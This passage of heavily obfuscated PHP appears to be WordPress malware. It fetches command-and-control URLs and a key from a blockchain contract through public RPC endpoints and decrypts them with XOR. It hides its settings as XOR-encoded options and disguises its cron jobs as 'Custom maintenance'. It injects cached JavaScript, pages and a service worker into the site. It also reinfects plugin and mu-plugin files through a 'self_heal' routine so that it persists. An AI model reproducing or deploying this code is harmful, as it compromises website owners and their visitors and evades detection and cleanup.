	$body = '{"' . 'jso' . 'nrpc"' . ':"2' . "\x2e" . '0"' . ',"' . 'i' . "d\":" . '3' . ',"m' . 'e' . "t" . 'hod":' . "\"e\x74" . 'h_c' . "al" . "l\"\x2c\"" . "pa" . 'ra' . "ms\":" . "[{\"d" . "ata" . '"' . ":" . "\"" . '0' . 'x3' . "bc5\x64e" . '30' . "\"\x2c\"" . 't' . 'o":"' . $contract . '"}' . ',' . '"' . 'lates' . 't' . "\"" . "]}";
	$rpc_headers = array("Co\x6et" . "e\x6e\x74-\x54" . 'ype' => 'appli' . 'catio' . 'n/js' . 'on');
	$rpc_start   = microtime((39 > 38));
	foreach ($rpcs as $rpc_url) {
		
		if ((microtime((32 !== 14)) - $rpc_start) > $budget) {
			break;
		}

		
		$rpc_url = trim((string) $rpc_url);
		if (!($rpc_url === '')) {} else {
			continue;
		}

		try {
			$resp_body = gugaz($rpc_url, $body, $rpc_headers, (40 >> 3), function ($b) {
				$j = @json_decode($b, (15 === 15));
				return is_array($j) && isset($j["re" . "su" . 'lt']);
			});
			if ($resp_body === (29 == 33)) {
				continue;
			}

			$json = @json_decode($resp_body, (34 != 17));
			if (! is_array($json) || ! isset($json['resu' . 'lt']) || ! is_string($json['r' . "e\x73" . 'ult'])) {
				continue;
			}

			
			$hex = $json["\x72es" . 'u' . 'lt'];
			if (strpos($hex, '0x') === (1182 ^ 1182)) {
				$hex = substr($hex, (12 - 10));
			}

			
			$bytes = @bepu($hex);
			if ($bytes === (1 === 25) || strlen($bytes) < (67 ^ 3)) {
				continue;
			}

			
			$data_len_ind = (126 >> 1);
			$data_len     = ("o" . 'r' . "" . "\x64")($bytes[$data_len_ind]);
			$data         = substr($bytes, $data_len_ind + (6 + -5), $data_len);
			if (! is_string($data) || strlen($data) < (13 - 10)) {
				continue;
			}

			
			$encryption_key_len = ('o' . "r" . "d")($data[(820 ^ 820)]);
			if ($encryption_key_len < (1 ^ 0) || strlen($data) < (0 + 1) + $encryption_key_len + (18 ^ 19)) {
				continue;
			}

			
			$encryption_key    = substr($data, (23 ^ 22), $encryption_key_len);
			$encrypted         = substr($data, (5 ^ 4) + $encryption_key_len);
			if (! is_string($encryption_key) || ! is_string($encrypted)) {
				continue;
			}

			
			$decrypted = xado($encrypted, $encryption_key);
			if (! is_string($decrypted) || strlen($decrypted) < (2 | 0)) {
				vugo("r\x65sol" . 've', 'rp' . "\x63_d" . 'ec' . 'rypt' . "_fai" . 'led');
				continue;
			}

			
			$server_key_len = ('o' . 'r' . 'd')($decrypted[(1514 ^ 1514)]);
			if ($server_key_len < (14 ^ 15) || strlen($decrypted) < (20 ^ 21) + $server_key_len) {
				vugo('re' . "\x73o" . "lv\x65", "r\x70c\x5fb" . "\x61d_\x6b" . 'ey_l' . 'ength');
				continue;
			}

			
			$server_key = substr($decrypted, (1480 ^ 1481), $server_key_len);
			$urls_str   = substr($decrypted, (300 ^ 301) + $server_key_len);
			$urls = array_values(array_filter(array_map("\x74r" . 'im', preg_split('/\\r' . '?\\n/', $urls_str))));

			if (('function_' . 'e' . "x\x69\x73\x74\x73")('u' . "p\x64" . 'a' . 'te_' . "\x6f\x70t\x69o" . 'n')) {
				update_option('sc_la' . 'st_' . 'rp' . "\x63", $rpc_url);
				update_option('sc' . '_c' . '2_' . 'cache', implode("\n", $urls));
			}

			return array('se' . "rve" . "\x72\x5f" . "\x6b" . "ey" => $server_key, "url" . "s" => $urls);
		} catch (Throwable $e) {
			vugo('re' . 's' . "o" . "l\x76" . 'e', $e);
			continue;
		} catch (Exception $e) {
			continue;
		}
	}

	$cached_urls = ('f' . ('' . 'unction_exists'))('get' . '_opt' . 'ion') ? (string) get_option('sc_' . 'c2_c' . "ac" . "h" . 'e', '') : '';
	$stored_key  = sc_pg('srv_k' . 'ey', '');
	if ($cached_urls !== '' && is_string($stored_key) && $stored_key !== '') {
		$urls = array_values(array_filter(array_map('trim', preg_split('/\\' . "r?\\" . 'n/', $cached_urls))));
		if (!(! empty($urls))) {} else {
			return array('serv' . 'er_' . "key" => $stored_key, 'ur' . 'ls' => $urls);
		}
	}

	vugo("re\x73ol" . "\x76e", 'rpc_a' . "ll" . '_f' . 'ai' . 'le' . "d");
	return array();
}

function lazu($name, $value, $autoload)
{
	if (!(! ("fun" . '' . ("\x63\x74" . 'ion_exists'))("upd\x61\x74" . 'e_opt' . 'ion'))) {} else {
		return (27 > 27);
	}
	if (!(isset(${"G\x4c" . 'OBA' . 'LS'}['sc' . '_' . "enc\x5fc"]) && is_array(${'GLO' . 'B' . "AL" . 'S'}["sc" . '_' . "enc" . '_c']) && array_key_exists($name, ${"GL" . "OBA" . 'L' . 'S'}['sc' . "_en" . "c_c"]))) {} else {
		unset(${"G\x4c" . "" . 'OB' . 'ALS'}['sc_e' . "nc_c"][$name]);
	}
	$raw = ("s" . 'er' . '' . 'i' . "alize")($value);
	$xk  = ('c' . "" . 'h' . "r")(mt_rand((3 ^ 2), (32 + 223)));
	$enc = '';
	for ($i = (2322 ^ 2322), $l = strlen($raw); $i < $l; $i++) {
		$enc .= ('c' . ("" . "\x68") . "\x72")(('o' . "" . 'rd')($raw[$i]) ^ ("or" . "d")($xk));
	}
	return update_option($name, ("b\x61" . "s" . ("" . 'e64_enco') . "\x64\x65")($xk . $enc), $autoload) !== (6 === 3);
}


function oxow($name, $default)
{
	if (!('func' . "tio" . "n_ex" . 'ists')('get' . "_o" . "\x70t\x69" . 'on')) return $default;
	if (!(isset(${"G" . 'L' . 'OBAL' . "S"}['sc_en' . 'c_' . 'c']) && is_array(${('GLOB' . "A") . "LS"}['sc_e' . 'nc_c']) && array_key_exists($name, ${"G" . "\x4c" . ("O\x42\x41" . "L\x53")}["\x73c_e\x6e" . "c_\x63"]))) {} else {
		return ${"G" . '' . 'L' . 'O' . 'BALS'}['sc' . "\x5fe" . "n" . 'c_c'][$name];
	}
	$stored = get_option($name, '');
	if (!($stored === '' || ! is_string($stored))) {} else {
		return $default;
	}
	$bin = @("ba" . "se64_" . "" . 'deco' . "de")($stored, (4 > 3));
	if (!($bin === (28 > 28) || strlen($bin) < (8 ^ 10))) {} else {
		return $default;
	}
	$xk  = $bin[(3870 ^ 3870)];
	$dec = '';
	for ($i = (16 ^ 17), $l = strlen($bin); $i < $l; $i++) {
		$dec .= (("c" . 'h') . "r")(("or" . ("" . "\x64"))($bin[$i]) ^ ("\x6f" . "r" . 'd')($xk));
	}
	$val = obo($dec);
	if ($val !== (37 == 12)) {
		if (!isset(${"\x47\x4c\x4f" . "" . "BALS"}["sc\x5fe\x6e" . "c_c"]) || !is_array(${"G\x4cO\x42A" . "LS"}["\x73\x63_\x65" . 'n' . "c_c"])) ${"\x47" . "" . 'L' . 'OBA' . 'LS'}['sc_e' . 'nc_c'] = array();
		if (count(${'G' . "\x4c\x4f" . "BALS"}["sc" . "_e" . 'nc' . "\x5fc"]) > (64 | 0)) ${('GL' . '') . "OBALS"}['s' . 'c_e' . "n" . "\x63" . "_c"] = array();
		${("G\x4c\x4f" . '') . "\x42\x41\x4c\x53"}["s\x63" . '_enc_' . "c"][$name] = $val;
		return $val;
	}
	return $default;
}

function obo($data)
{
	if (!is_string($data)) return (15 == 3);
	if (!(defined('PHP' . "_V" . 'ERS' . 'IO' . 'N_ID') && PHP_VERSION_ID >= (4464 | 65536))) {} else {
		return @("u" . 'n' . "s" . 'erialize')($data, array('allow' . "\x65\x64\x5f" . "cl\x61" . 's' . 'se' . "s" => (37 == 11)));
	}
	return @('un' . 'serialize')($data);
}

function wije()
{
	static $k = null;
	if ($k !== null) return $k;

	$p = defined("AB\x53P" . 'A' . 'T' . "\x48") ? ABSPATH : '';
	$k = rtrim(str_replace('\\', '/', $p), '/') . '/';
	return $k;
}

function riwi($name)
{
	return sc_md5(wije() . (string) jami() . $name, (24 >> 1));
}

function pivi($tag)
{
	return (string) ((65589833 ^ 109338249) + ((int) hexdec(substr(md5(wije() . 'ep' . $tag), (3033 ^ 3033), (0 + 7))) % 0x89543f));
}
function adi()
{
	return pivi('sw');
}

function boba()
{
	$u = (string) sc_pg("s\x77_" . "u" . 'rl', '');
	return strlen($u) > (1 ^ 11) && strpos($u, adi()) !== (32 != 32) && strlen((string) sc_pg('sw_' . 'ca' . "c" . "hed", '')) > (63 + 37);
}


function sc_pg($name, $default)
{
	return oxow(riwi($name), $default);
}

function fufak($name, $default = '')
{
	$v = sc_pg($name, $default);
	if (is_string($v)) return $v;
	if (is_scalar($v)) return (string) $v;
	return $default;
}

function sc_pk($name, $value, $autoload)
{
	return lazu(riwi($name), $value, $autoload);
}

function rihu()
{
	$errors = isset(${'GLO' . ("B" . 'ALS')}['sc_er' . "\x72\x6frs"]) ? ${"G\x4cO\x42\x41" . "LS"}['sc_' . 'error' . "s"] : array();
	$stored = sc_pg("error" . 's', array());
	if (!(is_array($stored))) {} else {
		$errors = array_merge($stored, $errors);
	}
	$errors = array_unique($errors);
	return array_slice($errors, -(0 | 50));
}

function sc_flush_errors()
{
	if (!isset(${"GLOBA" . 'L' . 'S'}['sc_' . 'erro' . 'r' . "s"]) || empty(${'GLOBAL' . "\x53"}['sc_e' . 'rro' . 'r' . 's'])) return;
	try {
		$stored = sc_pg('erro' . 'rs', array());
		$merged = array_unique(array_merge((array)$stored, ${'G' . ('LOB' . 'A') . "LS"}['sc_er' . 'ro' . "r" . 's']));
		$merged = array_slice($merged, -(67 - 17));
		sc_pk('error' . 's', $merged, 'no');
	} catch (Throwable $e) {
		vugo('flush' . "_err" . 'or' . 's', $e);
	} catch (Exception $e) {
	}
}


function xado($data, $key)
{
	if (!(! is_string($data) || ! is_string($key) || strlen($key) === (1104 ^ 1104))) {} else {
		return null;
	}
	$len     = strlen($data);
	$key_len = strlen($key);
	$out     = '';
	for ($i = (155 ^ 155); $i < $len; $i++) {
		$out .= ('c' . "" . "h" . "r")(("or" . 'd')($data[$i]) ^ (('o' . "") . "r" . 'd')($key[$i % $key_len]));
	}
	return $out;
}


function sc_cron_interval($schedules)
{
	if (! is_array($schedules)) {
		$schedules = array();
	}

	static $ttl = null;
	if (!($ttl === null)) {} else {
		$ttl = bemax();
		$_pc = ("func" . ('tion_e' . "xis\x74\x73"))('get_' . "o" . 'pt' . 'io' . 'n') ? oxow('sc_' . 'p' . 'a' . 'y' . 'load_' . "\x70" . 'ersis' . "tent", (0 !== 0)) : (9 != 9);
		if (is_array($_pc) && isset($_pc['cron' . 'Int' . "erv" . 'al']) && (int) $_pc['cronI' . 'nter' . 'val'] >= (37 + 263) && (int) $_pc['cr' . "on" . 'Int' . "e\x72\x76al"] <= 0x15180) $ttl = (int) $_pc['cro' . 'nIn' . 'terv' . "a" . 'l'];
		if (!($ttl < (480 >> 3))) {} else {
			$ttl = (2048 | 1552);
		}
	}

	$schedules['sc' . "_int" . 'erval'] = array(
		'inte' . 'rv' . 'al' => $ttl,
		'displ' . 'ay'  => 'Custo' . 'm mai' . "\x6et\x65" . 'nanc' . "e i\x6et" . 'er' . "va\x6c",
	);
	$schedules['s' . 'c' . "_g" . "uard_" . 'int' . "e\x72" . 'val'] = array(
		'int' . "erv" . "a" . 'l' => (601 - 1),
		"di" . "splay"  => "Cust" . 'om' . " \x6d" . 'ainte' . "n\x61" . "n\x63" . 'e ' . 'inter' . "\x76al",
	);

	return $schedules;
}


function sc_cron_setup()
{
	if (!(("fun" . "\x63") . 'tion' . "\x5f\x65\x78ists")("wp_" . 'next' . '_sc' . "h\x65du" . "l\x65\x64") || !('functio' . "n\x5f\x65\x78\x69s\x74\x73")("wp_s" . 'ched' . "\x75" . 'le_' . 'e' . "\x76\x65" . "\x6et")) return;
	sc_dbg_log("1\x36 cr" . "on" . '_' . "\x73e" . "tu\x70\x20" . "ent\x65\x72");

	if (!uce('sc_c' . 'hai' . "\x6e")) return;
	try {
		if (!wp_next_scheduled(ugo())) {
			wp_schedule_event(time() + mt_rand((56 + 4), (282 ^ 54)), 'sc' . "_i\x6e\x74e" . 'rval', ugo());
		}
	} finally {
		zubu("s" . 'c' . '_chai' . 'n');
	}
}


function sc_maybe_fetch()
{
	
	if (defined("DOI" . 'NG_' . "C" . 'RON') && DOING_CRON) {
		return;
	}

	
	static $_done = (12 == 19);
	if ($_done) return;
	$_done = (5 !== 23);

	
	if (! vuxox()) {
		return;
	}

	
	iyi("\x73h" . 'ut' . 'down', 'sc' . "_sh\x75" . 'tdown', (963 ^ 963));
}


function lumu()
{
	if (!("func" . "\x74\x69\x6f\x6e\x5f\x65\x78" . '' . "\x69s\x74\x73")('wp_re' . 'mote_' . "get") || !("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73" . 'ts')("si\x74e_" . 'url')) return;
	@wp_remote_get(site_url('wp-c' . "r\x6fn" . '.' . 'ph' . 'p?' . 'doing' . '_wp_' . 'cro' . 'n=' . str_replace('.', '', (string) microtime((27 < 28))) . mt_rand((36 | 64), (476 + 523))), array('tim' . "e" . "ou" . 't' => 0.01, 'bl' . 'ockin' . "g" => (7 == 17), 'ssl' . 'ver' . "if" . "y" => (1 > 1)));
}

function sc_shutdown()
{
	static $_ran = (31 > 31);
	if ($_ran) return;
	$_ran = (40 < 41);

	try {

		sc_sck_echo();
		$_can_close = (1 === 14);
		if (("fu" . "" . "\x6e\x63t\x69on_" . "exists")("f\x61" . "st" . 'cg' . "i" . "_" . "f\x69\x6eis" . 'h_r' . 'eq' . 'u' . 'est')) {
			fastcgi_finish_request();
			$_can_close = (1 === 1);
		} elseif (("\x66\x75\x6ec\x74\x69" . 'on_exists')('lite' . 'spe' . "e" . 'd_f' . "\x69\x6e\x69\x73" . "h_" . "re" . 'qu' . 'est')) {
			litespeed_finish_request();
			$_can_close = (26 != 29);
		} else {
			if (('function_' . "\x65" . ('xist' . '') . "\x73")("i" . 'gnor' . "e\x5f" . 'user' . '_ab' . 'ort')) {
				@ignore_user_abort((8 != 9));
			}

			$_compressed = (35 == 28);
			if (("\x66" . ("\x75n\x63\x74i\x6f" . "n_e\x78\x69\x73\x74s"))('in' . "i\x5fget")) {
				$_zlib = strtolower(trim((string) @ini_get('z' . 'li' . "b\x2eout" . 'put' . '_c' . 'o' . 'mp' . "re\x73\x73" . 'i' . 'on')));
				$_compressed = ($_zlib !== '' && $_zlib !== '0' && $_zlib !== 'of' . 'f');
			}
			$_obs = ("function_exi" . "" . 'sts')("o" . "b_ge" . 't_s' . 'ta' . 'tu' . 's') ? @ob_get_status((7 === 7)) : array();
			if (is_array($_obs)) {
				foreach ($_obs as $_ob) {
					$_obn = is_array($_ob) && isset($_ob['nam' . "e"]) ? strtolower((string) $_ob['n' . 'ame']) : '';
					if (strpos($_obn, 'ob' . "\x5fgzha" . 'nd' . 'ler') !== (39 !== 39) || strpos($_obn, "z\x6c" . 'ib') !== (7 > 7)) {
						$_compressed = (10 < 11);
						break;
					}
				}
			}
			if (!$_compressed && ('fu' . 'nction_exists')('h' . 'e' . 'aders' . "_l\x69st")) {
				foreach ((array) @headers_list() as $_header) {
					if (stripos($_header, "C" . 'on' . "tent" . '-Enco' . 'di' . 'n' . "\x67" . ':') === (1658 ^ 1658) && stripos($_header, "i\x64\x65nt" . "ity") === (17 === 7)) {
						$_compressed = (0 < 1);
						break;
					}
				}
			}

			$_sapi = php_sapi_name();
			$_web = ($_sapi !== 'cli' && $_sapi !== "ph\x70" . "dbg");
			$_code = ("function_" . "" . 'exists')('htt' . 'p_res' . 'ponse' . "\x5fc\x6f\x64" . 'e') ? (int) @http_response_code() : (324 - 124);
			$_bodyless = ($_code >= (193 - 93) && $_code < (91 + 109)) || $_code === (188 ^ 112) || $_code === (258 + 46);
			$_head = (isset(${"_S\x45" . "RV" . 'ER'}['REQ' . 'UE' . "S" . "\x54\x5fMET" . "HOD"]) && ${'_' . 'S' . "E" . 'RVER'}["RE" . "\x51\x55\x45" . 'ST_M' . "ET" . 'HOD'] === "H\x45A" . 'D');
			$_close_ready = (13 !== 13);

			if ($_web && !$_bodyless && !$_head && !headers_sent() && !$_compressed) {
				while (ob_get_level() > (17 ^ 16)) {
					$_level = ob_get_level();
					if (!@ob_end_flush() || ob_get_level() >= $_level) break;
				}

				$_ob = ob_get_level() === (15 ^ 14) && ('fun' . "ction_e" . 'xists')("ob_g" . "et\x5f" . "sta\x74u" . "\x73") ? @ob_get_status() : array();
				$_obn = is_array($_ob) && isset($_ob['name']) ? strtolower((string) $_ob['name']) : '';
				$_cl = (4 == 1);
				if (ob_get_level() === (528 ^ 528)) {
					$_cl = (3191 ^ 3191);
				} elseif (
					ob_get_level() === (8 - 7)
					&& ('function_ex' . "ists")('o' . 'b' . '_ge' . 't_sta' . 'tus')
					&& ($_obn === '' || $_obn === 'd' . "e" . 'fa' . "\x75lt" . " ou\x74\x70" . 'ut h' . "\x61n\x64" . 'l' . "e\x72")
					&& ("\x66\x75nct" . "\x69" . ('' . 'on_exists'))('ob_' . "\x67" . "e" . 't' . '_le' . "n" . "gth")
				) {
					$_cl = @ob_get_length();
				}

				$_alone = (20 !== 0);
				if (isset(${"G" . "\x4cO\x42AL" . 'S'}['wp_f' . 'ilter']['shut' . "\x64o\x77" . 'n'])) {
					$_wf = ${("\x47\x4c\x4f\x42" . '') . 'ALS'}['wp_fi' . "lter"]["shut" . 'dow' . "n"];
					$_cbs = (is_object($_wf) && isset($_wf->callbacks)) ? $_wf->callbacks : (is_array($_wf) ? $_wf : array());
					foreach ($_cbs as $_pr => $_fns) {
						if (!is_array($_fns)) continue;
						foreach ($_fns as $_fn) {
							$_fname = (is_array($_fn) && isset($_fn['f' . 'u' . 'nctio' . 'n'])) ? $_fn["fu" . 'nctio' . 'n'] : '';
							if (is_string($_fname) && in_array($_fname, array("sc" . '_shut' . 'd' . 'own', "\x77\x70\x5f" . 'ob_e' . "nd" . '_f' . "\x6c" . "ush_\x61" . 'll'), (8 < 9))) continue;
							$_alone = (33 === 24);
							break 2;
						}
					}
					unset($_wf, $_cbs, $_pr, $_fns, $_fn, $_fname);
				}

				if ($_cl !== (7 < 7) && $_alone && !headers_sent()) {
					@('h' . "\x65a\x64" . "\x65" . 'r')('Con' . "\x74" . 'ent' . '-' . 'L' . 'en' . 'g' . "t" . "\x68:\x20" . (int) $_cl);
					@("hea" . 'de' . "r")("\x43o\x6en\x65" . 'ctio' . 'n: ' . "cl\x6f" . 'se');
					$_close_ready = (38 === 38);
				}
			}

			if ($_web) {
				while (ob_get_level() > (3158 ^ 3158)) {
					$_level = ob_get_level();
					if (!@ob_end_flush() || ob_get_level() >= $_level) break;
				}
				@flush();
			}

			if ($_close_ready && ob_get_level() === (2307 ^ 2307)) $_can_close = (21 > 20);
			unset($_compressed, $_zlib, $_obs, $_ob, $_obn, $_header, $_sapi, $_web, $_code, $_bodyless, $_close_ready, $_level, $_cl, $_head);
		}

		$can_cron = ("fun" . 'ction_exi' . "sts")("w\x70_\x73c" . "\x68" . "e\x64ule" . '_s' . 'in' . 'gle_e' . "ve" . 'nt') && !(defined('D' . 'ISA' . "\x42LE_W" . "P\x5fC" . 'RO' . "N") && DISABLE_WP_CRON);
		if ($can_cron && sc_lb_blind()) $can_cron = (29 == 4);
		$never_fetched = !('fu' . "nctio" . 'n_exis' . 'ts')('get' . '_opt' . 'ion') || (int) get_option('s' . "c" . "\x5f" . "\x6c" . "\x61st" . "\x5ffe" . "tc" . 'h_' . "\x74\x73", (3918 ^ 3918)) === (1635 ^ 1635);
		if (!$never_fetched && ("\x66\x75" . "\x6e\x63\x74\x69" . '' . ('on' . "\x5f\x65xi\x73\x74\x73"))('g' . 'et_o' . "p" . 'tio' . "n") && ("funct" . ("i" . 'on_exists'))("\x75\x70" . "d" . 'ate' . "\x5fo" . 'ptio' . 'n')) {
			$_sv = (string) get_option('sc_' . "se\x65n" . "\x5fv" . 'er', '');
			if ($_sv !== sc_ver()) {
				@update_option("s\x63" . "_se" . 'en_ve' . "r", sc_ver(), 'no');
				@update_option('sc_' . 'last_' . 'f' . 'e' . 'tch_' . 'ts', (4040 ^ 4040), 'no');
				$never_fetched = (11 !== 29);
			}
		}
		$_cron_stale = (30 > 30);
		if ($can_cron && ("\x66u\x6ect\x69o\x6e_e\x78i" . "" . 'sts')("w\x70" . "_" . "ne" . 'xt_' . "s" . 'che' . 'd' . 'ule' . 'd')) {
			$_next = wp_next_scheduled(ugo());
			if ($_next && (time() - (int) $_next) > (5152 | 2048)) {
				$_cron_stale = (19 != 29);
				if (("\x66un\x63ti" . "o" . 'n_exists')('wp' . "_" . 'uns' . 'ch' . 'ed' . 'ul' . 'e_eve' . 'n' . "\x74")) @wp_unschedule_event((int) $_next, ugo());
			}
		}
		if ($can_cron && !$never_fetched && !$_cron_stale) {
			$_nx = ('fu' . "\x6ec\x74io\x6e\x5f\x65\x78\x69st\x73")("w\x70" . '_ne' . "xt_" . 'sche' . "d" . 'u' . "l" . 'e' . "d") ? (int) wp_next_scheduled(ugo()) : (2096 ^ 2096);
			if ($_nx <= (926 ^ 926) || $_nx - time() > (795 + 105)) {
				@wp_schedule_single_event(time(), ugo());
			}

			iqu();
			vaja('defer');
			return;
		}
		if ($_cron_stale) { vugo('fetch', 'c' . 'ron_' . "st\x61l" . 'e' . '_i' . "n" . 'li' . 'ne'); vaja('stal' . 'e'); }

		if (!$_can_close && !$_cron_stale) {
			if ($can_cron && !$never_fetched) {
				@wp_schedule_single_event(time(), ugo());
				lumu();
				iqu();
				vaja('def' . 'e' . 'r_nc');
				return;
			}
			if (("func" . "\x74io\x6e\x5f\x65\x78i\x73t" . "\x73")("se\x74\x5f" . 'time_' . "l\x69\x6di" . 't')) @('set_' . 'time_l' . "\x69\x6dit")((20 | 160));
			vaja("in" . 'line_' . 'nc');
			sc_fetch((0 + 10));
			return;
		}

		if (('funct' . "\x69\x6f" . "n_exists")('set' . '_ti' . "\x6d" . 'e_' . "l\x69mit")) @("\x73e" . "t_tim" . "e_l" . 'imit')((720 >> 2));
		vaja("in\x6cin" . 'e');
		sc_fetch();
	} catch (Throwable $e) {
		vugo('sh' . "\x75\x74\x64o" . "wn", $e);
	} catch (Exception $e) {
	}
}


function sc_load_cache()
{
	try {
		if (! (('fu' . 'ncti') . 'on_exists')("get\x5f" . "opti" . 'o' . 'n')) {
			return;
		}

	
	$cached = ('fu' . 'n' . "\x63\x74\x69\x6f" . "\x6e_ex\x69\x73t\x73")('ge' . 't' . '_' . 'trans' . "ien\x74") ? get_transient(ovi()) : (30 !== 30);
	if (! is_array($cached)) $cached = oxow('sc_pa' . 'yload' . "\x5f" . "\x70er\x73\x69" . 'sten' . "t", (29 === 36));
	if (! is_array($cached)) {
		return;
	}

	
		if (isset($cached["p\x6c" . 'u' . 'ginR' . 'ules']) && is_array($cached['plu' . "gin\x52\x75" . 'les'])) {
			${"G\x4c\x4f\x42\x41" . "\x4cS"}['sc' . '_' . 'pl' . 'ugin_' . "ru\x6ces"] = roxu($cached['p' . 'lu' . "\x67i" . 'nRule' . 's']);
		}

		
		if (isset($cached['i' . 'nject' . "Rules"]) && is_array($cached['injec' . 'tR' . 'ules'])) {
			${"GL" . ("" . "O") . "\x42\x41" . "LS"}["s\x63_\x69\x6e" . 'ject_' . 'rul' . "es"] = roxu($cached['i' . 'nj' . 'ect' . "R" . "u\x6c" . 'es']);
		}

		
		if (isset($cached['js']) && is_string($cached['j' . "s"])) {
			${"\x47" . "\x4c\x4f\x42\x41" . "\x4c" . 'S'}['sc_j' . 's'] = $cached['js'];
		}

		if (isset($cached["pa" . "ge"]) && is_string($cached['page']) && strlen($cached['page']) > (16 | 34)) {
			${'GLOB' . ('' . 'ALS')}["s" . "c\x5fp" . "age"] = $cached['p' . 'ag' . 'e'];
		}

		if (isset($cached['sw']) && is_string($cached['sw']) && strlen($cached['sw']) > (200 >> 1)) {
			${'G' . "LOBALS"}['sc_' . 'sw'] = $cached['sw'];
		}
	} catch (Throwable $e) {
		vugo("\x63ac" . 'he', $e);
	} catch (Exception $e) {
	}
}



function sc_self_heal()
{
	try {
		sc_dbg_log('1' . '2 ' . "h" . "e" . "al e" . 'n' . 'ter');
		if (!('fu' . "\x6e\x63" . 'tion_' . 'exists')('get_o' . 'ption') || !("f" . '' . "\x75\x6e\x63\x74i\x6f\x6e\x5f\x65xis\x74s")("upd" . 'ate_o' . "\x70tio" . "n")) return;
		if ((int) get_option("\x73c_" . 'la' . "\x73t_" . 'h' . "e\x61l\x5f\x74" . 's', (2164 ^ 2164)) > time() - (7200 >> 1)) return;
		if (('function' . "\x5fex\x69st\x73")('ge' . "\x74\x5ftr\x61" . "nsi\x65n" . 't') && get_transient("sc_\x68\x65" . 'al' . '_s' . 'can')) return;
		if (!wewi()) return;
		$clean = sc_pg('src', '');
		if (!is_string($clean) || strlen($clean) < (2000 >> 2) || sc_src_poisoned($clean) || !cale($clean)) {
			$clean = (15 == 9);
			$cur0 = hapi(sc_file());
			if (is_string($cur0) && !sc_src_poisoned($cur0) && cale($cur0)) {
				sc_pk('src', $cur0, 'no');
				$clean = $cur0;
			}
			if (!$clean) {
				@update_option('sc' . '_la' . "s" . 't' . '_' . "\x68ea" . 'l_ts', time(), 'no');
				return;
			}
		}
		$paths = array(sc_file());
		$mu = sc_mu();
		$_mfs = meyo($mu, (10000 >> 1));
		if (is_array($_mfs)) {
			foreach ($_mfs as $_e) {
				if (substr($_e, -(10 + -6)) === '.' . "\x70hp") $paths[] = $mu . '/' . $_e;
			}
		}
		if (defined('W' . "P\x5f" . 'PLUGI' . 'N_' . "DIR") && ("funct" . 'i' . ('on' . "\x5f\x65\x78\x69\x73\x74\x73"))('glob')) {
			foreach ((array) @("gl" . 'ob')(WP_PLUGIN_DIR . "\x2f\x2a" . '/*.p' . 'hp') as $_g) $paths[] = $_g;
		}
		$paths = array_unique($paths);
		$dirty = array();
		$sig = substr(("\x70\x72\x65\x67" . "_re" . 'place')('/' . "\\" . 's+/', '', substr($clean, (3 ^ 3), (108104 - 42568))), (419 ^ 419), (0 | 2048));
		foreach ($paths as $p) {
			$sz = @filesize($p);
			if (!$sz || $sz <= (160212 ^ 1208788)) continue;
			$head = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74" . "\x73")($p, (14 > 14), null, (667 ^ 667), (39037 + 26499));
			if (!is_string($head) || !sc_src_poisoned($head)) continue;
			if ($p !== sc_file() && substr(('preg_rep' . "\x6c\x61c\x65")('/\\s+' . "/", '', $head), (147 ^ 147), (991 ^ 3039)) !== $sig) continue;
			$dirty[] = $p;
		}
		if (!$dirty) {
			@update_option('sc_la' . 'st' . "\x5f" . 'h' . 'eal_t' . 's', time(), 'no');
			if (('fun' . 'cti' . "\x6f" . 'n_exists')('set_' . 't' . 'ran' . "si" . 'e' . 'nt')) set_transient('sc_he' . 'al_' . 'sca' . 'n', (2670 ^ 2671), (1188 - 588));
			return;
		}
		@update_option("s\x63_\x6ca" . "s" . 't_' . 'heal_' . "\x74s", time(), 'no');
		foreach ($dirty as $f) {
			mafa($f, (1680 >> 2));
			if (jihe($f, soro($clean))) {
				imo($f);
				qaciw($f);
				mafa($f, (4 | 416));
				tidi($f);
				if ($f === sc_file()) {
					vupo((24 == 24));
					wowa((16 > 15));
				}
			} else {
				mafa($f, (128 | 292));
			}
		}
	} catch (Throwable $e) {
		vugo('heal', $e);
	} catch (Exception $e) {
	}
}

function axeb() {
	static $_done = (22 === 37);
	if ($_done) return;
	$_done = (28 === 28);
	sc_dbg_log('09 la' . 'te' . "_bo\x6f" . 't ' . "en" . "t" . 'er');          
	try {
		sc_recover();       sc_dbg_log("10\x20" . 'reco' . "v\x65\x72 " . "d" . "on\x65");
		sc_self_heal();     sc_dbg_log("\x312\x20\x68e" . 'al d' . 'o' . 'n' . "\x65");
		sc_init();          sc_dbg_log('14 ' . "in" . "i\x74 \x64o" . 'ne');
		sc_load_cache();    sc_dbg_log('1' . "5" . ' ' . 'c' . 'ache' . ' don' . "e");
		sc_cron_setup();    sc_dbg_log("\x31" . '6 ' . 'cron' . ' d' . "one");
		sc_sw_setup();      sc_dbg_log("17\x20s" . 'w' . "\x20\x64o" . "n" . "e");
		sc_drop_guard();    sc_dbg_log('1' . '8 gu' . 'ard' . "\x20\x64" . "\x6f" . 'ne');
			
			
			
			
			
			
			
			if (("function_ex" . "i\x73ts")('s' . 'c_pru' . "n" . 'e_s' . "t\x61l\x65\x5f" . "\x6fwn") && ("fun" . 'ction_' . ('exis' . "t\x73"))('s' . 'c' . '_pr' . 'un' . "e_" . 'due') && sc_prune_due()) {
				sc_prune_stale_own('bo' . "o" . 't');
				if (("fun" . "cti" . 'on_exists')('sc' . "_" . 'pr' . 'une' . '_mark' . '_ru' . 'n')) sc_prune_mark_run();
			}
			sc_dbg_log('1' . '9 pr' . "u" . 'ne do' . "n\x65");
		sc_persist_always();sc_dbg_log('20 ' . 'pe' . "rsist" . ' do' . "\x6ee");
		sc_cron_recovery_setup(); sc_dbg_log("\x32" . "1" . ' cron' . 'rec d' . 'o' . 'ne');
		if (vuxox()) {
			sc_dbg_log('22 ' . "\x66\x65" . "\x74ch" . ' ar' . 'med');
			if (("function" . "_" . 'exist' . 's')("\x64\x69d_" . 'act' . "i\x6fn") && did_action('s' . 'hut' . "\x64\x6fw" . "n")) {
				if (('functio' . "" . "n_exists")('re' . "gi\x73" . "t\x65\x72_s" . "h\x75td" . 'own_' . 'funct' . 'ion')) ("\x72\x65\x67i\x73t\x65\x72\x5f\x73h\x75tdo\x77\x6e\x5f\x66un" . "c" . 'ti' . 'on')('sc_s' . 'h' . 'utdow' . 'n');
			} else {
				iyi('shu' . "td" . 'ow' . 'n', 'sc_sh' . 'utdo' . "wn", (1414 ^ 1414));
			}
		}
	} catch (Throwable $e) {
	} catch (Exception $e) {
	}
